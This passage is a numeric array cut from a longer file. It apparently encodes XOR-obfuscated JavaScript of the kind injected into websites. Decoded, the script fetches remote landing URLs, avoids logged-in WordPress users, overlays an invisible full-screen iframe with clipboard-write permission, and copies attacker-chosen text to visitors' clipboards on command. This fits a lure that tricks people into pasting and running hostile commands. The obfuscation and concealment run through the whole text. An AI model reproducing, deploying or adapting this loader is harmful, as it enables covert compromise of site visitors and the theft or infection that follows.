,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,53,42,59,57,51,46,35,96,106,120,118,87,80,122,122,122,122,122,122,120,42,53,51,52,46,63,40,119,63,44,63,52,46,41,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,56,59,57,49,61,40,53,47,52,62,96,46,40,59,52,41,42,59,40,63,52,46,120,87,80,122,122,122,122,7,116,48,53,51,52,114,120,97,120,115,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,54,53,59,62,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,123,40,63,61,51,41,46,40,35,116,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,53,52,63,40,40,53,40,122,103,122,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,62